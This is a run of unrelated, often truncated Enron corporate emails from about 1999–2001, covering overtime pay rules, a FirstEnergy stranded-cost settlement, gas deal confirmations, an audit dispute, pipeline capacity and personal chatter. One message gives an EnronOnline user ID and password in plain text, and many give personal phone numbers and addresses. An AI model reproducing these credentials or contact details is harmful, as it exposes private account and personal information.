available on request.  (Red lined copy also attached for your convenience.)

PRIVILEGED AND CONFIDENTIAL ATTORNEY WORK PRODUCT
Do not distribute this report unless you have prior approval from Enron 
Energy Services' Legal Department.

Should you have any difficulty with the attachments, please call.

Thank you,
Leasa Lopez
713-853-6899

Kerry,  What are your thoughts on this issue?

Michelle

Michelle,

We have had a couple of interpretations as to how to calculate the overtime 
for employees who receive a shift differential and wanted to ask for 
assistance from you.  The problem we are having deals with employees who 
rotate shift.  Please review the following scenario.

For a simple example with an ee at $10/hour and shift of $1/hour for the 
Night (N) shift.

  M T W Th F S

REG  8 8 8 8 8 
OT       8 
SHIFT  N N D D D D 

Interpretation 1

The shift differential would be added to his pay to determine the regular 
rate of pay and his pay would be calculated as follows:

REG  $400
SHIFT       16
OT    124.80  ((400+16)/40) x 1.5)

Interpretation 2

Since his overtime was during a day shift, his pay would be calculated as 
follows:

REG  $400
SHIFT       16
OT    120.00 (400/40 x 1.5)

Can you please let us know which interpretation is correct or if we have 
totally missed the boat on both of them?

Diane

Laura,

Here is a draft transfer price agreement:

I'm sure we may want to add some details, etc, but at least this gives us a 
beginning point.

I'm hoping that you received the revised draft of the Manlove LOI on 
September 8 which incorporated your initial comments to the first draft. We 
can discuss what you see as the most efficient path forward, and any 
additions, etc, you think are necessary.

I look forward to seeing you on Thursday, and breathing some cooler air for a 
change.

My cell phone is 713 304 8716, should you need to reach me in the meanwhile. 
I will also be checking my voicemail, but will not be picking up email.

Kay  

As you know, we are continuously updating the Foreign & Domestic Counsel 
database so that it can be maintained in the most accurate form; therefore, 
any new information you may have regarding outside counsel firms that have 
been interviewed and/or retained in the past 12 months would be greatly 
appreciated.  Also, if you have any updates to the existing database entries 
we would also like to hear from you. 

Please take the time to help us update this database so it can be a valuable 
tool for all of us!  Each one of us has full access to the database via your 
Lotus Notes application; however, if your icon has disappeared from your 
desktop, click here to add it back on to your desktop >>>>>

Please provide any new information and/or updates either to Nony Flores or 
Becky Spencer. 

Thank you for your attention to this matter.

FYI.
---------------------- Forwarded by Mike Mazowita/Corp/Enron on 10/05/2000 

"Mike Gough" <mike.gough@naes.com> on 10/05/2000 10:28:10 AM
Please respond to <mike.gough@naes.com>
To: "Mazowita, Mike" <MIKE.MAZOWITA@ENRON.COM>
cc: "Scarborough, Dan" <dan.scarborough@naes.com>, "Ward, Chuck" 
<Charles.Ward@enron.com> 

Subject: Tenaska IV outage update

We are finally beginning to put closure on our outage. It has been
frustrating to say the least. We are currently projecting a late Friday or
early Saturday morning startup barring any unseen problems.

MG

Nesbitt Burns, Inc. changed it's name to BMO Nesbitt Burns Inc.

                                              =20

This FRIDAY, DECEMBER 8, 2000 (5:00 p.m. CST) is the deadline for deferral=
=20
program enrollment.  Following the deadline, no new elections or changes to=
=20
existing elections will be accepted. =20
=20
=20
=20
system.)

ou=20
=20
Friday, December 8,  2000, 5:00 p.m. CST (the enrollment deadline).
=20

We can add TGS to this list and remind me on Monday to review.  Thanks.  Sara
---------------------- Forwarded by Sara Shackleton/HOU/ECT on 08/26/99 09:24 

08/25/99 10:48 AM
To: Don Black/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, Andrea 
Bertone/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, Robert H 
George/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, Brent 
Hendry/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT
cc:  
Subject: Southern Cone Financial Master Agreements

Attached is the first report identifying financial master trading agreements 
generated by ECT's derivatives legal group.  This report will be updated and 
distributed weekly.  It only reflects documentation originated by Houston's 
legal department and the status of negotiations.  If you have any questions, 
please call me at 713/853-5620 or e-mail.  Thanks.  Sara

---------------------- Forwarded by Brenna Neves/NA/Enron on 12/01/2000 03:18 

sam.neves@luminant.com on 12/01/2000 03:26:59 PM
To: mneves@enron.com, brenna.neves@enron.com, rneves@fishgame.com, 
aneves@fishgame.com, amy_neves@aimfunds.com
cc:  

Subject: chicken head

I don't know about you guys, but I'm in the mood for fried chicken (heads) :) 
----- Forwarded by Sam Neves/Luminant on 12/01/00 03:19 PM ----- 

	Lona Kavanagh 
	
	12/01/00 12:47 PM 
		? ? ? ? 
		? ? ? ? To: ? ? ? ?Sam Neves/Luminant@Luminant 
		? ? ? ? cc: ? ? ? ? 
		? ? ? ? Subject: ? ? ? ?chicken head

heard about this? ?anye sent it to me - it's hilarious looking. ?be sure to 
watch the news clip at the bottom. 
http://www.washingtonpost.com/wp-dyn/articles/A7669-2000Nov30.html 

Lona Kavanagh
lona.kavanagh@luminant.com
713.479.7131
713.479.7101 fax
Luminant Worldwide
http://www.luminant.com 

Greg,

This is the info  about the  WEBI program at Wharton.

Vince

Do you need it for this morning's meeting?

Sent:	Tuesday, May 01, 2001 8:21 AM
To:	Miller, Don
Subject:	Re: Weekly Update

Could you include under the size column an indication of bookable gain - obviously with some assets this will be very rough but please include. 

Thanks

From:	Don Miller/ENRON@enronXgate on 04/30/2001 07:00 PM
To:	Louise Kitchen/HOU/ECT@ECT
cc:	 

Subject:	Weekly Update

Louise,

As discussed, attached is the first weekly update.

Thanks,

Don

 << File: Asset Marketing WIP Report.xls >> 

When: Monday, March 19, 2001 1:00 PM-1:30 PM (GMT-06:00) Central Time (US & 
Canada).
Where: EB3267

By now, most of you have heard about the FirstEnergy Settlement, underwhich 
FE will recover as best we can ascertain at this time, all of its stranded 
costs.  Key components of the setllement include:

1. FE makes 1120 mw of power available at a price that varies by customer 
class and increases gradually over the 5 years.  (The price does not include 
line losses which the Company agreed to throw in if another marketer signs on 
- none did),  The market price is also the shopping credit.  The  shopping 
incentive is then added to the credit . The shopping credit for residential 
and commercial customers is low but could possibly work pending analysis from 
structuring.  The industrial credit is very low.

2. Customers on special contracts (approximately 800 of them), can during the 
first year either opt to cancel their contract or extend it through the RTC 
recovery period, which is unlawful in my view, although that observation did 
not slow anyone down.

3.  The settlement creates an implicit cap on shopping of 20% since the 
Company will seek to have the incentive removed once the 20% is reached.  The 
agreement states that if the incentive is not removed, then customers will 
pay for the incentive as a deferral which will extend the recovery period.  
This too is also unlawful because it allows the recovery of generation 
related costs beyond the market development period.

4.  Barring extension of the shopping incentive and other caveats, the RTC 
rolls off on December 31, 2006 for Ohio Edison, June 30th, 2007 for Toledo 
Edison and December 31, 2008 for Cleveland Electric Illuminating Company.

5.  Distribution rates are frozen until 2007.

6. There is a 5% residential rate cut.

7. FE absorbs the pancaking charges for power coming through PJM and MISO 
until the RTO is up and running.

This settlement is basically political.  Over the past several weeks, FE has 
cut a host of sidebar deals with each of the intervenors and customers who 
signed on to this travesty.  When the parties were assembled for settlement 
talks, they lasted 2 days before parties surrendered their litigation 
positions.  The hearing schedule is equally aggregious.  Coincidentally, the 
hearing examiners had a schedule in mind that was extremely similar to FE.  
Our testimony is due on April 24 with no further discovery prior to its 
filing.  The testimony of FE and defenders of the Stip is due on April 26.  
We then have 3 days for depositions with supplemental or rebuttal testimony 
being a big IF.  The hearing commences May 2.

The parties who thought it was fine to give FE $8.9 billion without 
quantification or review are Consumers Counsel, Staff, Industrial Users, 
Retail Merchants, Low income (some), Ohio Manufacturers, Shell Energy, 
Kroger, AK Steel, Ohio Hospital Association.

Those fighting the stipulation are all the other marketers, the Cleveland 
Growth Association, the City of Cleveland, Citizens Action, Citizens Power,  
Safe Energy Communications Council.

By separate e-mail, Laurie Knight will send you the shopping credit and 
shopping incentive numbers.  Also, if you would like a copy of the 
settlement, please let Laurie know.

Two final points.  We are doing everything we can to try to improve or derail 
acceptance of the settlement, although it appears to be a fait accompli.  
Second, the stage has been set for similar type negotiations with the other 
utilities

Please pass this memo along to anyone else who you think has an interest in 
knowing this information.

Thanks,
Janine   

not possible

Sent:	Thursday, October 11, 2001 9:10 AM
To:	Storey, Geoff
Subject:	harper

Tony says he can get NGPL harper for M\C plus .175.  Can you find some taking gas from NBPL into NGPL and swap?

Don:

Thomas and or Mike may have already asked you this, but I want to make sure 
we're all on the same page (or determine if I'm not). In order to support the 
greenfield merchant decision making process for '01, we need price forecasts 
for the following locations / configurations:

1. Florida - 6 - LM6000s in simple cycle mode; 6 - LM 6000s plus a 74.9MW 
steam turbine in combined cycle mode
2. St. Charles Parrish, LA (south of N.O.) 6 - LM6000s in simple cycle mode
3. Chicago area: 2 - ABB 11N2s in simple cycle mode; 6 - LM 6000s in simple 
cycle mode
4. Ameren / AEC interface, Missouri - 6 - LM 6000s in simple cycle mode

Please let us know as to how we should proceed in order to obtain these 
forecasts as soon as possible. Perhaps Thomas can take the lead in dealing 
with the consultants after you make the intro...

Thanks much,

Ben

Eric,

I've been out of the office for two days, but just received this message and 
it's great.  Let me know what else I can do!

Fletch

so what about the airport?

Sent:	Wednesday, November 21, 2001 1:52 PM

ok next week

Sent:	Wednesday, November 21, 2001 1:51 PM

i tried for the bar and i got shot down, but you can buy me a birthday drink next week.  i am sad.  i would rather work than got to conroe.  i would love to get on a plane and leave and never come back.

Sent:	Wednesday, November 21, 2001 1:50 PM

lets just try for the bar first

ok so let me know what time i need to be at the airport.

Sent:	Wednesday, November 21, 2001 1:49 PM

Sent:	Wednesday, November 21, 2001 1:48 PM
Subject:	

can we go to new york tonight?

---------------------- Forwarded by Judy Hernandez/HOU/ECT on 06/29/2000 
Sandra R McNichols   06/23/2000 10:19 AM

To: Carolyn Gilley/HOU/ECT@ECT, Mark D Thorne/HOU/ECT@ECT, Judy 
Hernandez/HOU/ECT@ECT, Leslie Smith/HOU/ECT@ENRON, Angela 
Barnett/HOU/ECT@ECT, Judy Walters/HOU/ECT@ECT
cc:  
Subject: Inclement Weather Plan

The Inclement Weather Plan Meeting is scheduled as follows:

 DATE:  June 26th - Monday
 TIME:     1:30 PM - 2:30 PM
 LOCATION:     EB 3749

Angela Barnett - Out of the office 

Thank you,

Brenda for
Sandy
x3-6766  

---------------------- Forwarded by Sandra R McNichols/HOU/ECT on 06/23/2000 
10:01 AM ---------------------------
   
	From:  Carolyn Gilley                           06/22/2000 10:58 AM
	
To: Sandra R McNichols/HOU/ECT, Mark D Thorne/HOU/ECT, Judy 
Hernandez/HOU/ECT, Leslie Smith/HOU/ECT@ENRON, Angela Barnett/HOU/ECT@ECT, 
Judy Walters/HOU/ECT
cc:  

Please see the message and attachment below.  

Sandy/Brenda,
Please set up a meeting for us  Monday or Tuesday to go over our plan so we 
can have it in place by the end of the week.
Thanks,
Ccg
---------------------- Forwarded by Carolyn Gilley/HOU/ECT on 06/22/2000 

06/21/2000 05:33 PM
To: Bill D Hare/HOU/ECT@ECT, Judy Barnes/HOU/ECT@ECT, Connie 
Sutton/HOU/ECT@ECT, Mary G Gosnell/HOU/ECT@ECT, Avril 
Forster/Corp/Enron@ENRON, Carolyn Gilley/HOU/ECT@ECT
cc: Joel Henenberg/NA/Enron@Enron, Richard C McKeel/HOU/ECT@ECT, Vanessa 
Schulte/Corp/Enron@Enron, Marvia Jefferson/HOU/ECT@ECT 
Subject: 

I have attached the last Inclement Weather plan updated by our team.  Please 
review your specific area and update as needed.  If your area is not 
reflected, such as Rates or Information and Records Management, please 
develop a plan.  Be sure to check with your primary customers as to their 
expectations and needs for each of these scenarios to ensure you are planning 
appropriate action/coverage.  I would prefer to have this updated by 6/30 to 
be ready for the long July 4th holiday.  

Please coordinate your updates with Marvia.

---------------------- Forwarded by Mary Solmonson/HOU/ECT on 06/21/2000 
   
	From:  Marvia Jefferson                           08/18/99 08:59 AM
	
To: Mary Solmonson/HOU/ECT@ECT, Faye Ellis/HOU/ECT@ECT, Jackie 
Morgan/HOU/ECT@ECT, Daniel Verastegui/HOU/ECT@ECT, Bill D Hare/HOU/ECT@ECT, 
Linda S Bryan/HOU/ECT@ECT, Sylvia A Campos/HOU/ECT@ECT, Karen 
Lambert/HOU/ECT@ECT, Donna Consemiu/HOU/ECT@ECT, Antoine V 
Pierre/HOU/ECT@ECT, Amelia Alland/HOU/ECT@ECT, Marilyn Colbert/HOU/ECT@ECT, 
Jason Moore/HOU/ECT@ECT, Richard C McKeel/HOU/ECT@ECT, Anthony 
Campos/HOU/ECT@ECT, Maggie Ortiz/HOU/ECT@ECT, Samuel Schott/HOU/ECT@ECT, 
Amber Ebow/HOU/ECT@ECT, Mary Botello/HOU/ECT@ECT, Bernice 
Rodriguez/HOU/ECT@ECT, Rose Anne Backus/HOU/ECT@ECT, Lynette 
Malone/HOU/ECT@ECT, Connie Sutton/HOU/ECT@ECT, Juliana Sherman/HOU/ECT@ECT, 
Robert Bryan/HOU/ECT@ECT, Mary G Gosnell/HOU/ECT@ECT
cc:  
Subject: 

Please see the latest update to the Inclement Disaster Weather Report.

As requested:

As there we no comments in Sitara to let us know this deal was an option, the deal has been confirmed as a regular forward. Please let me know if you need us to send out a revision.

Regards,

Ellen Wallumrod
Physical Gas Confirmations

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just good to get away lets plan a hunting trip and take bradley talked to brian rice he bought an electric game caller said cyotes and bobcats go crazy is wounded rabbit sound am going to get one lv dad

Your Message:
 have a safe trip love brad

     -----Original Message-----
    From:   8888915473@archwireless.net@ENRON
    Sent:   Friday, October 19, 2001 12:26 PM
    To:     bmckay@enron.com
    Subject:  Wireless Message

    r at airport searched mothers carry on for 10 min found tweezers

 **********************************************************************
 This e-mail is the property of Enron Corp. and/or its relevant affiliate and may contain confidential and privileged material for the sole use of the intended recipient (s). Any review, use, distribution or disclosure by others is strictly prohibited. I f you are not the intended recipient (or authorized to receive for the recipient), please contact the sender or reply to Enron Corp. at enron.messaging.administration@enron.com and delete all copies of the message. This e-mail (and any attachments heret o) are not intended to be an offer (or an acceptance) and do not create or evidence a binding and 

FYI
---------------------- Forwarded by Evelyn Metoyer/Corp/Enron on 02/20/2001 

"Chnell Scott" <chnells@amerexenergy.com> on 02/20/2001 02:51:52 PM
To: <Evelyn.Metoyer@enron.com>
cc:  

Subject: RE: 312189-correction

This was put in wrong.  I'm going to send you a void on this one.

Thanks!

Chnell Scott
Amerex Natural Gas & Power
Confirmation Administration
Accounting Associate
(281)340-5205 (281)634-8888 fax
ChnellS@amerexenergy.com

From: Evelyn.Metoyer@enron.com [mailto:Evelyn.Metoyer@enron.com]
Sent: February 20, 2001 2:31 PM
To: Inquiry@amerexenergy.com
Subject: 312189-correction

---------------------- Forwarded by Evelyn Metoyer/Corp/Enron on 02/20/2001
02:31 PM ---------------------------

Evelyn Metoyer
02/20/2001 02:29 PM

To:   Inquiry@amerexenergy.com
cc:

Subject:  312189

deal 312189b
We do not recognize this deal neither does Coral Power.

Thanks!!

---------------------- Forwarded by Phillip M Love/HOU/ECT on 04/02/2001 
From: Veronica Espinoza/ENRON@enronXgate on 04/02/2001 09:29 AM
cc:  
Subject: Credit Report--4/02/01

fyi
----- Forwarded by Steven J Kean/NA/Enron on 12/19/2000 10:50 AM -----

	Rebecca McDonald@ENRON_DEVELOPMENT
	12/18/2000 09:32 AM
		
		 To: Peter E Weidler/NA/Enron@ENRON
		 cc: Don Hawkins/OTS/Enron@Enron, James A 
Hughes/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, (bcc: Steven J Kean/NA/Enron)
		 Subject: Re: spreadsheet

Pete,

I would like to weigh in on this, if you don't mind.  First of all,  I 
requested meetings with the audit and EHS folks to understand our procedures 
and our status.  So, no fair ranting at Don.  Secondly, your note brings to 
mind what I find the most troublesome about our process as it currently 
stands.  It is not now, nor will it be in the future the audit department's 
responsibility to ensure that corrective actions are taken as a result of the 
audit process.  It is the responsibility of the business leader and the 
business management.  So, follow up with the companies should have been a 
communication from you to the business unit head, not from Don to the 
business and Don to you.  

But, we are going to work all of this out and in the meantime, we aren't 
going to get crosswise with each other.  This is going to be an "open kimono" 
kind of place and no information is going to be managed away from me.  I will 
be staying on top of things and I will be involved with all of the support 
groups, with the business leaders and with the executive managment..  And, 
problems that are uncovered will be owned by all of us responsible for the 
business and the appropriate handling of those issues will be a matter of 
performance between the business and myself.

So, please, calm down and let's all get off on the right foot.  Enjoy your 
holiday, darn it!

Rebecca

Peter E Weidler@ENRON
12/17/2000 05:55 PM
To: Don Hawkins/OTS/Enron@Enron
cc: James A Hughes/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, Rebecca 
McDonald/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT 

Subject: Re: spreadsheet  

Don - really - this kind of upsets me - I thought you were going to call me 
if we were having any problems - this report looks like crap and is not 
reflective of actual status - I know TGS has completed most of its 
outstanding items -  Does your team call and follow up with the individual 
companies - requesting a status report ?    If so give me the names of who 
called and who you talked to  and the date of the call.   What is the concern 
about Cuiaba - they got a 90 + score -  TGS and Centragas are in South 
America - not carribbean.   Why did you not list the scores ?     Really - I 
think this report and the handling of transmitting this information is 
completely different from my understanding of our understanding of how this 
is supposed to work.    You were going to follow up with the companies and 
let me know if there were any problems and I was going to go fix the problems 
-  Report says there are problems and the first I hear of it is when  you go 
and report to my bosses.   This does not begin to reflect the concepts we had 

Pete

Don Hawkins
12/14/2000 11:10 AM
To: Peter E Weidler/NA/Enron@Enron, David 
Shields/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT
cc:  

Subject: spreadsheet

Guys, for your information and a heads up.  I am going to be visiting with 
Rebecca and Jim this afternoon on their support going forward on timely 
completion of action items as well as support that the audit program is 
mandatory not optional.  We have always had both of you guys support so no 
problem there.  David, you may want to talk to Stephen about IGL. and Pete 
you may want to look at Cuiaba.  If I can help, please let me know.

Don

---------------------- Forwarded by Don Hawkins/OTS/Enron on 12/14/2000 11:05 

Janice Hollaway
12/14/2000 11:02 AM
cc:  

Good answer. 

From: Susan.Scott@enron.com [mailto:Susan.Scott@enron.com] 
Sent: Thursday, June 15, 2000 2:17 PM 
To: Norman A. Pedersen 
Cc: 'Pocta, Robert M.'; Cherry, Brian - TPBKC; 'AlexanMS@sce.com'; 
'paulamirault@aec.ca'; 'david.bayless@utility.com'; 
'Tomb@crossborderenergy.com'; 'Burkee@cts.com'; 'Craigc@calpine.com'; 
'Rick.Counihan@greenmountain.com'; 'Jdasovic@enron.com'; 
'Mday@gmssr.com'; 'bdingwall@unitedgas.com'; 'Douglass@arterhadden.com'; 
'eke@aelaw.com'; 'Jfawcet@enron.com'; 'rfoss@coral-energy.com'; 'Gileau, 
Patrick L.'; 'johnj@bcjlaw.com'; 'Johnson_Pamela@lacoe.edu'; 
'karpjos@sf.whitecase.com'; 'jleslie@luce.com'; 'kmccrea@sablaw.com'; 
'jmpa@dynegy.com'; 'porterdk@sce.com'; 'RochmanM@cubjpa.org'; 
'RochmanM@spurr.org'; Betonte, Robert - TP2RSB; Brill, Thomas R.; 
Follett, B. David - TPDBF; Harrigan, James P. - TP1JPH; Hay, James E.; 
Lorenz, Lad - TPLPL; McVay, Nancy W - TPNWM; Morrow, Rick - TP3RMM; 
Purves, Ralph A.; Sakarias, Wayne P.; Schavrien, Lee; Sullivan, Glen J.; 
Surak, Thomas M. - TP1TMS; Teeter, James S.; Van Lierop, Jan - TP2JXV; 
Watson, Steven - TP2SAW; Wright, Gillian - TP1GXW; Barker, David - 
TPDTB; 'How-Downing, Lindsey'; 'Jun, Christine'; 'Gileau, Patrick L.'; 
'Khoury, Dexter'; 'ack@aelaw.com'; Nelson, Eric B. - TPEBN; Suwara, J.- 
TPJUS; Wright, Gillian - TP1GXW; Reed, William; 'Paul, Joe'; 'Hawiger, 
Marcel'; 'Fawcett, Jeff'; 'O'Neill, Ed'; 'Power, Pat'; 'Ramirez, Jaime'; 
'Black, Larry'; Fair, Pam; 'Hall, Rich'; 'Eisenman, Eric'; 'Stoner, 
Ron'; 'McConn, Kathy' 
Subject: Late-Filed Exhibit 

In response to your inquiry, Transwestern would first like to clear up the 
terminology being used here.? As you know, currently SoCalGas doesn't 
assign "primary rights" to deliveries off of any interconnecting pipeline. 
The establishment of tradeable rights for intrastate capacity is among the 
issues currently under consideration in the GIR proceeding.?? However, if 
what you are asking about is what has been the historical or otherwise 
available receipt capacity for Transwestern deliveries at North Needles, 
then let me offer the following. 

Transwestern has always operated on the premise that SoCalGas could 
physically accept up to a maximum of 750 MMcf/d at its North Needles 
receipt point.? Consequently, Transwestern has sold firm transportation to 
its interstate customers for west flow deliveries to North Needles not to 
exceed the 750 MMcf/d limitation.? Our west flow mainline capacity is 1.09 
Bcf/d. 

"Norman A. Pedersen" <napedersen@JonesDay.com> on 06/14/2000 08:12:05 PM 

To:?? Susan.Scott@enron.com 
cc:?? "ceyap" <ceyap@earthlink.net> 

Subject:? Re: Late-Filed Exhibit 

_______________________________________________________________ 

This message and any attachments are intended for the individual or entity 
named above.? If you are not the intended recipient, please do not read, 
copy, use or disclose this communication to others; also please notify the 
sender by replying to this message, and then delete it from your system. 
Thank you. 

To: Jeff Fawcett: 

???? Do Transwestern shippers to Transwestern's North Needles delivery 
point have 1090 MMcfd of primary rights into ScCalGas, 750 of primary 
rights. or some other number? 

Your EnronOnline user ID and password is noted below.  To reach the EnronOnline web site, please use: www.enrononline.com <http://www.enrononline.com>.

User ID:	EOL38040
Password:	WELCOME!

Please note that the User ID and password will need to be in upper case.

Please feel free to contact me if you have any questions or problems getting into the system.

Thanks,
Ashu Tewari
X5-3558

Does not include gas-fired cogens.  Agreement requires PUC approval.  I 
believe that it's an all-in price, but I'll check.

Best,
Jeff

	Greg Wolfe/ENRON@enronXgate
	06/21/2001 09:28 AM
		 
		 cc: 
		 Subject: RE: SCE Reaches Agreement With QFs

Jeff:

Does the term renewable refer to only wind/biomass? or does it include the 
gas fired cogen's. The answer to this is extremely important? How soon can 
you answer this question? What part of the contracts require CPUC approval 
(the fixed price?) Is the fixed price the energy component only or does it 
include the capacity payment?

Sent: Wednesday, June 20, 2001 3:15 PM
To: Comnes, Alan; Schwarz, Angela; Aden, Beverly; Votaw, Bill; Barreda, 
Brenda; Moffett, Carol; Corbin, Cathy; Foster, Chris H.; Liscano, Christina; 
Sutter, Craig; Leff, Dan; Whitehead, Debora; Benevides, Dennis; Black, Don; 
Dorothy Youngblood/HOU/ECT@ECT; Huth, Douglas; Sacks, Edward; Melvin, Eric; 
Dupre, Erika; Hughes, Evan; Deltoro, Fran; Muench, Gayle; Dernehl, Ginger; 
Savage, Gordon; Buchanan, Harold; Kingerski, Harry; Iris Waser/HOU/EES@EES; 
Steffes, James; Lewis, James; Wright, James; Messina, Jeff; Blachman, Jeremy; 
Hewitt, Jess; Hartsoe, Joe; Denne, Karen; Bass, Kathy; Dodgen, Kathy; 
Gustafson, Ken; Hughes, Kevin; Lopez, Leasa; Botello, Leticia; Muller, Mark; 
Suggs, Marsha; Sunde, Marty; Eggleston, Meredith; Etringer, Michael; Mann, 
Michael; Cisneros, Michelle D.; mpalmer@enron.com; Bresnan, Neil; Hong, Neil; 
Kaufman, Paul; Warren, Paula; Zdunkewicz, Richard; Leibert, Richard; Shapiro, 
Richard; Hennessy, Rita; Roger Yang/SFO/EES@EES; Tijerina, Rosalinda; Sandra 
McCubbin/NA/Enron@ENRON; Novosel, Sarah; Gahn, Scott; Stoness, Scott; Dick, 
Sharon; skean@enron.com; Leslie, Tanya; Lair, Tasha; Ted Murphy/HOU/ECT@ECT; 
Greenlee, Terri; Belden, Tim; Spruiell, Tony; Sharp, Vicki; Gorny, Vladimir; 
Curry, Wanda; Bradford, William S.; Corbally, Kathryn; Whalan, Jubran; Riley, 
Tony; Sanders, Richard B.; Williams, Robert C.; Wolfe, Greg; Wright, James; 
VanUlden, Dirk; Walker, Steve; Rudolph, Jennifer; Wenzel, Martin; Douglas 
Condon/SFO/EES@EES; wgang@enron.com; Scott Govenar; Hedy Govenar; 
jklauber@llgm.com; Smith, Mike; Neslage, John; Guerrero, Janel; Eric 
Letke/DUB/EES@EES; Sanders, Richard B.; gfergus@brobeck.com; Tribolet, 
Michael; Frank, Robert; Sanders, Richard B.; gfergus@brobeck.com; Mara, 
Susan; Holmes, Chris; Leboe, David
Subject: SCE Reaches Agreement With QFs

----- Forwarded by Jeff Dasovich/NA/Enron on 06/20/2001 05:14 PM -----

	Jean Munoz <jmunoz@mcnallytemple.com> 06/19/2001 11:47 PM 	   To: "'Andy Brown 
(E-mail)'" <ABB@eslawfirm.com>, "'B Brown Andy (E-mail)'" 
trusso@mcnallytemple.com, sadlersa@earthlink.net, mstultz@epsa.org, 
rtemple@mcnallytemple.com, tracy.fairchild@edelman.com, 
megan.beiser@edelman.com, deborah.fiorito@dynegy.com, lchurch@epsa.org, Katie 
Kaplan <kaplan@iepa.com>, tcwillia@duke-energy.com, rwhyde@duke-energy.com, 
tmcmorrow@manatt.com, Suzy.L.Rodriguez@dynegy.com, ppitts@wiredworld1.com, 
mnobili@cal-lobby.com, sscsus@aol.com, kvellandi@pstrategies.com  cc:   

SCE Reaches Agreement With Alternative Energy Generators

06/19/01, 11:20p

ROSEMEAD, Calif., June 19 /PRNewswire/ -- Southern California Edison (SCE) 
announced today that it has reached an agreement with most of its renewable 
Qualifying Facilities (QF) power producers that addresses past payment issues 
and future pricing considerations, and creates a mechanism for ending 
numerous lawsuits.

"We believe this agreement will help bring stability to an important segment 
of California's energy market," said SCE Chairman, President & CEO Stephen E. 
Frank.

The plan was negotiated between the utility and key representatives of the QF 
industry and facilitated by Governor Gray Davis' office. To date, SCE has 
received signed agreements from QFs representing approximately 95% of its 
renewable energy capacity and today executed those contracts. The company 
hopes that the small number of remaining producers will also agree. Certain 
elements of the agreements are subject to the approval of the California 
Public Utilities Commission.

The plan calls for generators to provide power at a fixed price -- 5.37 
cents/kWh -- over the next five years, eliminating some of the price 
volatility that has plagued California's energy markets during the current 
crisis. The plan stays all existing legal action, and assures that no new 
legal action will be initiated unless the terms of the agreement are not met.

"The people of Edison are committed to pursuing the benefits of negotiated 
practical solutions to California's energy crisis," said Frank. "The QF 
agreement and the MOU, if approved, are critical steps toward resolving the 
crisis. A bankruptcy, in contrast, would lead to years of delay and 
uncertainty for our customers and raise serious questions about the business 
climate in California." 

An Edison International company, Southern California Edison is one of the 
nation's largest electric utilities, serving a population of more than 11 
million via 4.3 million customer accounts in a 50,000-square-mile service 
area within central, coastal and Southern California. 

SOURCE Southern California Edison 

/CONTACT: Corporate Communications of Southern California Edison, 
626-302-2255/ 

---------------------- Forwarded by Chris Germany/HOU/ECT on 07/11/2000 07:=
31=20

Tommy Garza
07/10/2000 12:23 PM
To: Chris Behney/HOU/ECT@ECT, Michael Bodnar/ET&S/Enron@ENRON, James L=20
Copeland/HOU/ECT@ECT, Gene L Brantz/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, Mi=
ke=20
Coleman/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, Ngoc Luan=20
Do/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, Wayne Feng/ET&S/Enron@ENRON, Tommy=
=20
Garza/HOU/ECT@ECT, Chris Germany/HOU/ECT@ECT, David L=20
Glessner/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, Angela Hylton/Corp/Enron@ENRO=
N,=20
Dan Kirtane/ET&S/Enron@ENRON, Joshua M Langford/HOU/ECT@ECT, Steve=20
Littel/OTS/Enron@ENRON, Joseph Eric=20
Maier/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, David McEllin/FGT/Enron@ENRON,=
=20
Dave McMullan/HOU/ECT@ECT, Robert S Smith/OTS/Enron@ENRON, Angela=20
Sayegh/OTS/Enron@ENRON, Norm Spalding/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT,=
=20
Agatha B Tran/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, Bob=20
Meckna/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, James=20
Pfeffer/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, Julie Meyers/HOU/ECT@ECT, Mary=
=20
Ogden/HOU/ECT@ECT, Nick Hiemstra/HOU/ECT@ECT, Daniel Olson/FGT/Enron@ENRON,=
=20
lmchurch@flash.net, Tommy Garza/HOU/ECT@ECT, Brian Kerrigan/HOU/ECT@ECT, Al=
ex=20
Arriaga/EPSC/HOU/ECT@ECT, Michelle Horn/GPGFIN/Enron@ENRON, George=20
Weber/Corp/Enron@ENRON, Tracy Weltz/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT,=20
Reyna Cabrera/HOU/ECT@ECT, Ace Roman/HOU/ECT, Todd Thelen/Corp/Enron@ENRON,=
=20
Erwin Grose/Corp/Enron@ENRON, Tracee Bersani/HOU/ECT, Sharad=20
Malhotra/HOU/AZURIX@AZURIX, Valter Stoiani/Corp/Enron@ENRON, Jackie=20
Nelson/HOU/ECT@ECT, David Horn <David.Horn@sage.nelesautomation.com> @ ENRO=
N,=20
Shyril L Scott/HOU/ECT@ECT, Martin Lin/HOU/ECT@ECT, Brian=20
Hoskins/HOU/ECT@ECT, Daniele Crelin/HOU/ECT@ECT, Russell Diamond/HOU/ECT@EC=
T,=20
Mark Frank/HOU/ECT@ECT, Jin Guo/HOU/ECT@ECT, Timmy Ng/HOU/ECT@ECT, Daniel=
=20
Diamond/HOU/ECT@ECT, James Armstrong/HOU/ECT@ECT, Charles Barker=20
Varnell/DEN/ECT@Enron, Gregg Lenart/HOU/ECT@ECT, Candi Stanley/HOU/ECT@ECT,=
=20
Christopher Riley/HOU/EES@EES, Trina Samuel/HOU/EES@EES, Michelle=20
Juden/HOU/EES@EES, Yasir Khan/HOU/EES@EES, Jerry Spencer/GPGFIN/Enron@ENRON=
,=20
Lisa Costello/OTS/Enron@ENRON, Joni=20
Moeller/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, Rosalinda V=20
Gonzalez/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, Sherryl=20
Stone/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, Martin Lin/HOU/ECT@ECT, Susan=20
